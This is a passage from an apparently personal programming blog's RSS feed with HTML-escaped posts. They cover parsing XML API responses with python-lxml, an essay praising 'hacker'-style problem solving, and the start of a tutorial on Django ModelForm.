&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nt">&amp;lt;response&lt;/span> &lt;span class="na">version=&lt;/span>&lt;span class="s">&amp;#34;1.0&amp;#34;&lt;/span>&lt;span class="nt">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;lt;code&amp;gt;&lt;/span>400&lt;span class="nt">&amp;lt;/code&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;lt;errors&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;lt;error&amp;gt;&lt;/span>This API call requires a HTTP POST.&lt;span class="nt">&amp;lt;/error&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;lt;/errors&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nt">&amp;lt;/response&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The first XML document shows a successful response. The &lt;code>code&lt;/code> tag contains an
HTTP &lt;code>200 OK&lt;/code> code, which means the operation succeeded, and the &lt;code>id&lt;/code> tag
contains an identification number which the client needs to store for later
processing.&lt;/p>
&lt;p>Now, let&amp;rsquo;s quickly analyze the situation. We have an XML tag which will be
available whether the operation succeeds or fails, which is the &lt;code>code&lt;/code> tag.
So, for the client to be able to distinguish between a success or failure, it
needs to first figure out what &lt;code>code&lt;/code> was returned.&lt;/p>
&lt;p>Let&amp;rsquo;s write some &lt;code>python-lxml&lt;/code> code to quickly output the value of the &lt;code>code&lt;/code>
tag:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">lxml&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">etree&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">response&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s1">&amp;#39;some xml response here&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">try&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">doc&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">etree&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">XML&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">response&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">strip&lt;/span>&lt;span class="p">())&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">code&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">doc&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">findtext&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;code&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span> &lt;span class="n">code&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">except&lt;/span> &lt;span class="n">etree&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">XMLSyntaxError&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span> &lt;span class="s1">&amp;#39;XML parsing error.&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>In our code, we first build a XML document from our XML response string, then
use the &lt;code>findtext()&lt;/code> method (provided by LXML) to retrieve the value of the
&lt;code>code&lt;/code> tag. Run this example, play around with it, and you&amp;rsquo;ll see that you can
pull up any value you want from the XML document.&lt;/p>
&lt;p>In my client code, the program flow looks something like:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">sys&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">exit&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">lxml&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">etree&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">response&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s1">&amp;#39;some xml response here&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">try&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">doc&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">etree&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">XML&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">response&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">strip&lt;/span>&lt;span class="p">())&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">code&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">doc&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">findtext&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;code&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span> &lt;span class="n">code&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">except&lt;/span> &lt;span class="n">etree&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">XMLSyntaxError&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span> &lt;span class="s1">&amp;#39;XML parsing error.&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">exit&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">if&lt;/span> &lt;span class="n">code&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="s1">&amp;#39;200&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1"># store the id somewhere&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">id&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">doc&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">findtext&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;id&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">else&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1"># handle errors, do more stuff&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span> &lt;span class="n">doc&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">findtext&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;error&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">exit&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">exit&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>This lets me perform error checking on the XML response to make sure that
everything went smoothly. If something goes wrong during the API call, then I
will know about it, and can perform other actions to fix any problems or report
errors.&lt;/p>
&lt;p>If you&amp;rsquo;d like to do more advanced XML parsing with LXML, read the
&lt;a href="http://lxml.de/tutorial.html" title="LXML Tutorial">official tutorial&lt;/a>. It is very verbose, but contains excellent examples
which clearly demonstrate how to both parse and generate XML.&lt;/p>
&lt;p>So the next time you&amp;rsquo;re looking for a quick way to process XML, check out LXML.&lt;/p></description></item><item><title>The World Would Be a Better Place if Everyone Was a Hacker</title><link>https://rdegges.com/2010/the-world-would-be-a-better-place-if-everyone-was-a-hacker/</link><pubDate>Mon, 15 Mar 2010 00:00:00 -0700</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2010/the-world-would-be-a-better-place-if-everyone-was-a-hacker/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2010/the-world-would-be-a-better-place-if-everyone-was-a-hacker/earth-sketch.png" alt="Earth Sketch" title="Earth Sketch">
&lt;/p>
&lt;p>There are a lot of problems with the world today. There have been, are, and
always will be problems with the world; this is unavoidable. By nature, humans
are emotional at the core, which severely inhibits our decision making, and
leads us to make poor choices.&lt;/p>
&lt;p>The question is, how can we make the world a better place? By &amp;lsquo;make the world
a better place&amp;rsquo;, I simply mean improve every aspect of life. This can mean
things like:&lt;/p>
&lt;ul>
&lt;li>Less war.&lt;/li>
&lt;li>Higher standards of living.&lt;/li>
&lt;li>More environmentally friendly practices.&lt;/li>
&lt;li>More caring and supportive communities.&lt;/li>
&lt;li>etc.&lt;/li>
&lt;/ul>
&lt;p>The only way to make the world a better place is to consciously analyze a
situation, think of ways to improve the situation, and then make the necessary
changes to improve the situation.&lt;/p>
&lt;p>Now, let&amp;rsquo;s say that the situation you consciously think about and plan on
improving is large and generic, something like &amp;lsquo;make my neighborhood nicer&amp;rsquo;.
There is not a direct path to making your neighborhood nicer, so you&amp;rsquo;ll need to
break the situation into smaller, sub-situations which are more easily managed.&lt;/p>
&lt;p>For instance, to make your neighborhood nicer, you could:&lt;/p>
&lt;ul>
&lt;li>Increase the average income of residents of your community.&lt;/li>
&lt;li>Provide better education for community members.&lt;/li>
&lt;li>Have better support programs to help residents.&lt;/li>
&lt;li>Re-pave the roads.&lt;/li>
&lt;li>Re-model buildings.&lt;/li>
&lt;/ul>
&lt;p>And for any one of those sub-problems, you can break it down further. Let&amp;rsquo;s
say we decide to re-pave the roads, this could be accomplished by:&lt;/p>
&lt;ul>
&lt;li>Raising taxes to get more money for road paving.&lt;/li>
&lt;li>Paving the roads yourself.&lt;/li>
&lt;li>Raising donated monies for road paving.&lt;/li>
&lt;li>Elect new city counsel members who pledge to pave the roads.&lt;/li>
&lt;li>Run for city counsel yourself, and make sure that the roads are paved.&lt;/li>
&lt;li>etc.&lt;/li>
&lt;/ul>
&lt;p>This logical mentality of analyzing a problem, breaking it into smaller
problems, and then solving the most minimal problem is a typical trait of a
hacker. That is what hackers do. They solve problems, step-by-step.&lt;/p>
&lt;p>Our society needs more hackers. We need more people who will consciously look
for problems, break them into smaller components, and then solve each
component.&lt;/p>
&lt;p>Imagine if an entire city of 10,000 people all consciously decided to look for
ways to make their community a nicer place. With 10,000 individuals, each
tackling a small problem, big things would begin to happen very quickly.&lt;/p>
&lt;p>The problem with our world is that there are very few hackers. Most people do
not like solving problems, and prefer to let others solve problems for them. I
think this is a mistake.&lt;/p>
&lt;p>The next time you see a problem, think of ways to break it into smaller pieces,
and then think of ways to solve each piece. Anything can be achieved by simply
putting conscious thought into it, and when enough people begin to analyze
their surroundings, and actively participate in their community, amazing things
happen.&lt;/p></description></item><item><title>Auto Generate Forms with Django's ModelForm</title><link>https://rdegges.com/2010/auto-generate-forms-with-djangos-modelform/</link><pubDate>Fri, 12 Mar 2010 00:00:00 -0800</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2010/auto-generate-forms-with-djangos-modelform/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2010/auto-generate-forms-with-djangos-modelform/mannequin-sketch.png" alt="Mannequin Sketch" title="Mannequin Sketch">
&lt;/p>
&lt;p>In this short article, we&amp;rsquo;ll analyze a better way (in some cases) to create
forms for your Django models.&lt;/p>
&lt;p>If you&amp;rsquo;ve ever worked with Django forms, then you know that there is a lot of
repetitive code involved in the process of writing a form to create your model.
Take, for instance, the following model, which represents a physical server
(somewhere):&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">django.db&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">models&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">class&lt;/span> &lt;span class="nc">Server&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">models&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">Model&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;&amp;#34;&amp;#34;This class represents a physical server.&amp;#34;&amp;#34;&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">hostname&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">models&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">CharField&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;Server Name&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">help_text&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s1">&amp;#39;Hostname of the server.&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">max_length&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">50&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">ip&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">models&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">IPAddressField&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;Server IP Address&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">help_text&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s1">&amp;#39;Public IP of the server.&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">unique&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="kc">True&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">disk_space&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">models&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">IntegerField&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;Disk Space on Server&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">help_text&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s1">&amp;#39;Total disk space in MB.&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">ram&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">models&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">IntegerField&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;RAM on Server&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">help_text&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s1">&amp;#39;Total RAM in MB.&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">cpu&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">models&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">IntegerField&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;Processing Power&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">help_text&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s1">&amp;#39;Total Processing Power in MHz.&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">def&lt;/span> &lt;span class="nf">__unicode__&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="bp">self&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;&amp;#34;&amp;#34;Make the model human readable.&amp;#34;&amp;#34;&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">hostname&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Our &lt;code>Server&lt;/code> model contains several attributes which define a &lt;code>Server&lt;/code> object.&lt;/p>
&lt;p>If you want to create a &lt;code>Server&lt;/code> object, you can generate a form class which
can be used to create a new &lt;code>Server&lt;/code> model and store it in the database. This
isn&amp;rsquo;t very difficult, but is a bit repetitive. Here&amp;rsquo;s how you would generate a
form to create a new &lt;code>Server&lt;/code> model using Django&amp;rsquo;s forms:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">django&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">forms&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">class&lt;/span> &lt;span class="nc">CreateServerForm&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">forms&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">Form&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;&amp;#34;&amp;#34;Create a new Server model.&amp;#34;&amp;#34;&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">hostname&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">forms&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">CharField&lt;/span>&lt;span class="p">(&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">label&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s1">&amp;#39;Server Name&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">max_length&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">50&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">required&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="kc">False&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">ip&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">forms&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">IPAddressField&lt;/span> &lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">label&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s1">&amp;#39;Public IP&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">required&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="kc">False&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">disk_space&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">forms&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">IntegerField&lt;/span>&lt;span class="p">(&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">label&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s1">&amp;#39;Disk Space in MB&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">required&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="kc">False&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">ram&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">forms&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">IntegerField&lt;/span>&lt;span class="p">(&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">label&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s1">&amp;#39;RAM in MB&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">required&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="kc">False&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">cpu&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">forms&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">IntegerField&lt;/span>&lt;span class="p">(&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">label&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s1">&amp;#39;CPU in MHz&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">required&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="kc">False&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>As you can see, there&amp;rsquo;s a lot of repetitive code in there. This is great when
you need maximum control of your forms, but is overkill if you&amp;rsquo;re just trying
to build a simple view to create an instance of your model class.&lt;/p>
&lt;p>What if there was a way to auto-generate a form class without re-writing all of
that code? Well, there is! Django&amp;rsquo;s &lt;code>ModelForm&lt;/code> class allows you to create a
very simple &lt;code>ModelForm&lt;/code> without ever touching form code.&lt;/p>
&lt;p>Here&amp;rsquo;s our &lt;code>models.py&lt;/code> code re-written using &lt;code>ModelForm&lt;/code>:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">django.db&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">models&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">django.forms&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">ModelForm&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">class&lt;/span> &lt;span class="nc">Server&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">models&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">Model&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;&amp;#34;&amp;#34;This class represents a physical server.&amp;#34;&amp;#34;&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">hostname&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">models&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">CharField&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;Server Name&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">help_text&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s1">&amp;#39;Hostname of the server.&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">max_length&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">50&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">ip&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">models&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">IPAddressField&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;Server IP Address&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">help_text&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s1">&amp;#39;Public IP of the server.&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">unique&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="kc">True&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">disk_space&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">models&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">IntegerField&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;Disk Space on Server&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">help_text&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s1">&amp;#39;Total disk space in MB.&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">ram&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">models&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">IntegerField&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;RAM on Server&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">help_text&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s1">&amp;#39;Total RAM in MB.&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">)&lt;/span>
